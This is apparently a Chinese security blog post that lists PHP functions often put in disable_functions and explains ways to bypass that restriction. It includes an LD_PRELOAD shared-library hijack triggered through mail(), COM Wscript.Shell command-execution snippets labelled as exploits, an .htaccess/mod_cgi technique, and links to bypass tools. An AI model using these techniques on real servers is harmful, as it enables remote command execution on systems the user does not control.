0X00 前言

本文主要对 PHP 中的 disable_functions 以及一些可能会遭到利用的函数做一个罗列,并简单解释。

0X01 比较全的 disable_functions

system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link,map_open,imap_mail,ini_set,ini_alter,其他函数

1.system

原型:

system ( string $command [, int &$return_var ] )

描述:

同 C 版本的 system() 函数一样, 本函数执行 command 参数所指定的命令, 并且输出执行结果。

如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。

如果要获取一个命令未经任何处理的 原始输出, 请使用 passthru() 函数。

参数:

command
要执行的命令。

return_var
如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。

返回值:

成功则返回命令输出的最后一行, 失败则返回 FALSE

2.shell_exec

原型:

shell_exec ( string $cmd )

描述:

通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

返回值:

命令执行的输出。 如果执行过程中发生错误或者进程不产生输出,则返回 NULL。

注意:本函数和 (反引号等价)

3.passthru

原型:

passthru ( string $command [, int &$return_var ] )

描述:

同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

参数:

command
要执行的命令。

return_var
如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。

返回值:

没有返回值。

4.exec

原型:

exec ( string $command [, array &$output [, int &$return_var ]] ) 

参数:

command
要执行的命令。

output
如果提供了 output 参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。 数组中的数据不包含行尾的空白字符,例如 \n 字符。 请注意,如果数组中已经包含了部分元素,exec() 函数会在数组末尾追加内容。如果你不想在数组末尾进行追加, 请在传入 exec() 函数之前 对数组使用 unset() 函数进行重置。

return_var
如果同时提供 output 和 return_var 参数, 命令执行后的返回状态会被写入到此变量。

返回值:

命令执行结果的最后一行内容

5.popen()

原型:

resource popen ( string command, string mode )

描述:

打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。

例子:

1:$fd = popen("command", 'r'); $ret = fgets($fd);
2:$fd = popen("systeminfo >d:\\1.txt", 'r'); pclose($fd);print(fgets(fopen("d:\\1.txt",'r')));
3:$fd=popen("ipconfig",'r');
while($s=fgets($fd)){
print_r($s);
}

注意:

只能打开单向管道,不是’r’就是’w’;并且需要使用pclose()来关闭。

6.proc_open()

原型:

resource proc_open ( string cmd, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]] )

描述:与popen类似,但是可以提供双向管道。具体的参数读者可 以自己翻阅php manual

注意:

A. 后面需要使用proc_close()关闭资源,并且如果是pipe类型,需要用pclose()关闭句柄。
B. proc_open打开的程序作为php的子进程,php退出后该子进程也会退出。

例子:

<?php
$descriptorspec=array( //这个索引数组用力指定要用proc_open创建的子进程的描述符
0=>array('pipe','r'), //STDIN
1=>array('pipe','w'),//STDOUT
2=>array('pipe','w') //STDERROR
);
$handle=proc_open('dir',$descriptorspec,$pipes,NULL);
//$pipes中保存的是子进程创建的管道对应到 PHP 这一端的文件指针($descriptorspec指定的)
if(!is_resource($handle)){
die('proc_open failed');
}
//fwrite($pipes[0],'ipconfig');
print('stdout:<br/>');
while($s=fgets($pipes[1])){
print_r($s);
}
print('===========<br/>stderr:<br/>');
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>

7.pcntl_exec()

原型:

void pcntl_exec ( string $path [, array $args [, array $envs ]] )

描述:

(PHP 4 >= 4.2.0, PHP 5, PHP 7)
pcntl_exec — 在当前进程空间执行以给定参数执行指定程序。
pcntl是linux下的一个扩展,可以支持php的多线程操作。

参数:

path: 必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径
标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)。 更多的
信息请查看您系统的execve(2)手册。
args: 一个要传递给程序的参数的字符串数组。
envs: 一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格
式的,key代表要传递的环境变量的名称,value代表该环境变量值。

返回值:

当发生错误时返回 FALSE ,没有错误时没有返回。

8.mail()//第五个参数 excrt_cmd

大致就是说,第五个参数支持添加附加的命令作为发送邮件时候的配置,比如使用-f参数可以设置邮件发件人等。

如果传递了第五个参数(extra_cmd),则用spprintf将sendmail_path和extra_cmd拼接到sendmail_cmd中,随后将sendmail_cmd丢给popen执行,如果系统默认sh是bash,popen会派生bash进程,而我们刚才提到的bash 破壳漏洞,直接就导致我们可以利用mail()函数执行任意命令,绕过disable_functions的限制

注意:

但是如果使用了php_escape_shell_cmd函数会对特殊字符(包括&#;`|*?~<>^()[]{}$\, \x0A and \xFF. ‘ 等)进行转义,们可以通过putenv函数来设置一个包含自定义函数的环境变量,然后通过mail()来触发

详细分析:
https://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html
https://www.cnblogs.com/hookjoy/p/8988862.html

9.putenv()

bool putenv ( string $setting )

添加 setting 到服务器环境变量,环境变量仅存活于当前请求期间,在请求结束时环境会恢复到初始状态。 既然能自定义环境变量,那么对攻击者就很有利了,

比如:

LD_PRELOAD是Linux系统的下一个有趣的环境变量,它允许你定义在程序运行前优先加载的动态链接库

这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

它允许你定义在程序运行前优先加载的动态链接库,这说明我们几乎可以劫持PHP的大部分函数,还拿上面的mail函数作为例子,上文说过,php的mail函数实际上是调用了系统的sendmail命令,我们选取一个库函数geteuid

首先我们编写一个自己的动态链接程序,hack.c:

#include<stdlib.h>
#include <stdio.h>        
#include<string.h> 

void payload() {
        system("touch/var/www/html/test");
}   

int  geteuid() {
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令,在/var/www/html目录下创建一个名字为test的文件。这里实际应用时应该注意编译平台和目标尽量相近,以及注意路径问题,避免不必要的麻烦,这里我们仅仅作为测试,不考虑这些问题。

[root@localhostadmin]# gcc -c -fPIC hack.c -o hack
[root@localhostadwin]# gcc -shared hack -o hack.so

我们把hack.so放到WEB目录,然后编写一个PHP文件进行测试:

<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("admin@localhost","","","","");
?>

我们的/var/www/html/目录下本来只有hack.so和index.php这两个文件,当我们在浏览器中访问index.php页面之后,可以看到目录下又多出了一个test文件,说明我们的系统命令执行成功。

10.assert

原型:

assert ( mixed $assertion [, string $description ] )

描述:

如果assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

11.dl()

dl()函数允许在php脚本里动态加载php模块,默认是加载extension_dir目录里的扩展,该选项是PHP_INI_SYSTEM范围可修改的,只能在php.ini或者apache主配置文件里修改。当然,你也可以通过enable_dl选项来关闭动态加载功能,而这个选项默认为On的,事实上也很少人注意到这个。dl()函数在设计时存在安全漏洞,可以用../这种目录遍历的方式指定加载任何一个目录里的so等扩展文件,extension_dir限制可以被随意饶过。所以我们可以上传自己的so文件,并且用dl函数加载这个so文件然后利用so文件里的函数执行其他操作,包括系统命令。

原型:

symlink ( string $target , string $link )

描述:

symlink() 对于已有的 target 建立一个名为 link 的符号连接。

参数:

target
连接的目标。

link
连接的名称。

返回值:
成功时返回 TRUE, 或者在失败时返回 FALSE。

注意: 该函数仅针对 Windows:运行 PHP 于Vista、Server 2008 或更高版本才能正常使用。 之前版本的 Windows 不支持符号连接。

原型:

link ( string $target , string $link ) 

描述:

link() 建立一个硬连接。

参数:

target
要链接的目标。

link
链接的名称。

返回值:

成功时返回 TRUE, 或者在失败时返回 FALSE。

注意:

Windows下:该功能需要以 elevated 模式运行,或者关闭 UAC。

14.ini_set()/ini_alter()

原型:

ini_set ( string $varname , string $newvalue )

描述:

设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。

参数:

varname
不是所有有效的选项都能够用 ini_set() 来改变的。 这里有个有效选项的清单附录。

newvalue
选项新的值。

返回值:

成功时返回旧的值,失败时返回 FALSE。

注意:

ini_alter() 是 ini_set()的别名函数

15.imap_mail

一个 bypass disable_functions 的方法 https://github.com/Bo0oM/PHP_imap_open_exploit

16.其他函数

这些函数在某些特定的 情况下还是有一定的攻击性的,选择性禁用就好了

(1)chroot()

功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式PHP 时才能工作,且该函数不适用于 Windows 系统。

(2)scandir()

功能描述:列出指定路径中的文件和目录。

(3)chgrp()

功能描述:改变文件或目录所属的用户组。

(4)chown()

功能描述:改变文件或目录的所有者。

(5)proc_get_status()

功能描述:获取使用 proc_open() 所打开进程的信息。

(6)error_log()

功能描述:将错误信息发送到指定位置(文件)。
安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,
执行任意命令。

(7)ini_restore()

功能描述:可用于恢复 PHP 环境配置参数到其初始值。

(8)pfsockopen()

功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。

(9)syslog()

功能描述:可调用 UNIX 系统的系统层 syslog() 函数。

功能描述:返回符号连接指向的目标文件内容。

(11)stream_socket_server()

功能描述:建立一个 Internet 或 UNIX 服务器连接。

(12)openlog

功能描述:为程序打开与系统记录器的连接。

补充:

l3m0n 师傅的 disable_functions shell
安利一波:https://github.com/l3m0n/Bypass_Disable_functions_Shell

0X02 一些 bypass disable function

网上找了找 bypass 的方法,当然都属于比较极端的方式,利用条件苛刻,而且几乎都被 disable 了,要我说最有可能的还是 imap (也就是上面的第15点),但还是列一下,开阔一下思路也是好的,更多信息可以看https://github.com/l3m0n/Bypass_Disable_functions_Shell

一、.htaccess 不只是重定向

条件:

第一,必须是apache环境
第二,mod_cgi已经启用
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
第四,必须有权限写.htaccess文件

在apache的配置中,有一个非常重要的指令,Options,Options指令是Apache配置文件中一个比较常见也比较重要的指令,Options指令可以在Apache服务器核心配置(server config)、虚拟主机配置(virtual host)、特定目录配置(directory)以及.htaccess文件中使用,Options指令的主要作用是控制特定目录将启用哪些服务器特性我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本

除了Options,我们还要配合另外一个AddHandler指令来使用,如果你对AddHandler不太熟悉没关系,这么解释一下就容易理解多了:AddType我们肯定很熟悉,比如配置apache对PHP的支持的时候,经常会添加一行类似AddType application/x-httpd-php .php这样的配置,这其实是指定了文件扩展名和内容类型之间的映射关系,而AddHandler则是指定扩展名和处理程序之间的关系,也就是说,可以指定某个特定的扩展名的文件,如何来进行处理。

有了Options和AddHandler,我们就可以随便指定一个特定的文件扩展名以特定的程序来处理,这样思路就很清晰了:先把要执行的程序写入一个特定扩展名的文件里,然后修改.htaccess文件,通过Options指令允许使用mod_cgi模块执行CGI脚本,然后再让我们特定的扩展名以cgi-script进行处理,这样我们甚至可以反弹一个shell出来。

详细分析:
https://www.cnblogs.com/hookjoy/p/8988862.html

二、COM 组件执行命令

漏洞出现的原因是由于在安全模式下的PHP平台虽然system();passthru()函数被禁止,但是com.allow_dcom的设置依旧是为true.以至于攻击者可以使用COM()函数创建系统组件对象来运行系统命令.如果是默认的Apache设置或者Web服务器以Loacalsystem权限或Administrators权限运行,攻击者可以使用这个漏洞来提升权限.

exp :

/*需要Windows Script Host 5.6支持*/
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");//生成com 对象
$phpexec=$phpwsh->exec("cmd.exe /c $cmd");//调用 com 对象的方法执行命令
$execoutput=$wshexec->stdout();
$result=$execoutput->readall();
echo $result;
?>

/*Windows Script Host 5.6以下版本支持*/
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$phpwsh->run("cmd.exe /c $cmd > c://inetpub//wwwroot//result.txt");
?>

将以上代码保存成*.php文件之后可以在浏览器中执行
http://www.target.com/simple.php?cmd=[Command]

三、内核绕过

使用fopen/fread/fwrite函数来操纵内存文件/proc/self/mem。利用这种方法,人们就可以用system()函数的地址来替换GOT中open()函数的地址,这样的话,攻击者就可以通过readfile()函数来随心所欲地执行任意os命令了。

0X03 总结

攻与防是相对的,这些函数可以说是给攻击者参考也可以说是给防御者参考吧~另外我在某网站的 disable_functions 里面还看到了一个神奇的函数—-> popepassthru,在网上看到了很多有关 disable_functions 的文章里也写了这个函数,结果我在手册里面都没找到,不知道是不是我太笨了,还是谁自己创造出来的,然后所有人都复制过去了,如果真的是这样的话,只能说明有的开发人员也只是盲目的相信网上的结论然后ctrl+c,ctrl+v,完全不思考一下,也就是说要是恰好文章里有个笔误把 passthru 写成了 pasthru 就很有趣了,我猜测是这样的,还请各位师傅们指教。